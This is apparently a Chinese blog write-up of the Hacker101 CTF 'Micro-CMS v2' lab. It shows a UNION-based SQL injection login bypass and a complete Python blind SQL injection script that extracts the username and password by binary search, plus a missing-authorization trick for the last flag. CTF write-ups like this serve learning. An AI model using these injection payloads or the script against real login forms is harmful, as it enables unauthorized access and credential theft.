Hacker101-Micro-v2-cms
记录hacker101 ctf靶场学习
Micro v2 cms篇
进入容器
扫出login
的登录页面
直接到达登录页面
用'
看看有没有sql注入
报错后把报错页面返回过来了,可以看到py的sql里的语句
admin
表,估计就是管理员的账户表了
尝试看看能不能直接用万能密码进去
回显无效的密码,应该后面还有语句去判断password
字段,所以没通过
这里可以使用union
联合查询重命名来绕过
原理是查询字段1后,再重命名为password
使其密码为1
此处为个人推测,如有不准可以再评论区补充互相学习
登录成功
在Private Page
页面找到第一个flag
在页面提示中说
恭喜你能登录了,你有真的用户名和密码?如果你没有你就可以这样做!
推测估计还有真实的用户名密码,直接上脚本去跑,附上脚本,脚本用的二分法来爆破的
import requests
def num() -> (int, int): # 最大数以及最小数的区间
return 33, 126
def find(least: int, maximun: int) -> int: # 最大数与最小数的中间值
return (least + maximun) // 2
def main():
request = requests.session() # 开启一个请求会话1
url = "https://50abdbe31d4050c164297ff620a122ab.ctf.hacker101.com/login" # 靶场url
password = ""
username = ""
passwd_len = 0
user_len = 0
for i in range(16): # 获取用户名字符长度
payload = f"' or length(username)={str(i)}#" # sql注入的sql语句, 比较用户名长度, 长度正确会回显特定字符
data = {"username": payload, "password": ""}
response = request.post(url, data=data)
if "Invalid password" in response.text: # 正确的长度会在页面回显的字符
user_len += i
break
print(f"用户名长度是: {user_len}")
for i in range(16): # 获取密码字符长度
payload = f"' or length(password)={str(i)}#" # 同上
data = {"username": payload, "password": ""}
response = request.post(url, data=data)
if "Invalid password" in response.text: # 同上
passwd_len += i
break
print(f"密码长度是: {passwd_len}")
for i in range(1, user_len+1): # 根据获取到的长度来做的循环次数
least, maximun = num() # 获取最小值和最大值
while abs(maximun - least) > 1: # 最大值和最小值的绝对值做循环条件
mid = find(least, maximun) # 最大值和最小值的中间值
payload = f"' or ord(substr(username,{i}, 1)) >{mid}#" # 截取用户名字符,一次截取一个,从第一个字符开始截取, 再转换成ascii码进行比较
data = {"username": payload, "password": ""}
response = request.post(url, data=data)
if "Invalid password" in response.text: # 比较成功会出现的字符串
least = mid
else:
maximun = mid
username += chr(maximun)
print(username, end="\r")
print(f"用户名是: {username}")
for i in range(1, passwd_len+1): # 同上
least, maximun = num()
while abs(maximun - least) > 1:
mid = find(least, maximun)
payload = f"' or ord(substr(password,{i}, 1)) >{mid}#"
data = {"username": payload, "password": ""}
response = request.post(url, data=data)
if "Invalid password" in response.text:
least = mid
else:
maximun = mid
password += chr(maximun)
print(password, end="\r")
print(f"密码是: {password}")
if __name__ == '__main__':
main()
跑出账号密码
拿去登录,得到flag
还剩一个flag
,这个flag
卡了我很久我,后面实在没搞懂在哪就去看了别人的题解
这个flag
是需要在没有管理员cookie
去编辑文档才可以拿到
删除cookie
后再点save
就可以得到flag了
ok,过关
哇塞,bulabula大佬
模板大佬
TMD是个大佬,得想办法舔一下
bula哥我什么时候能有你一成功力那么强😭
tql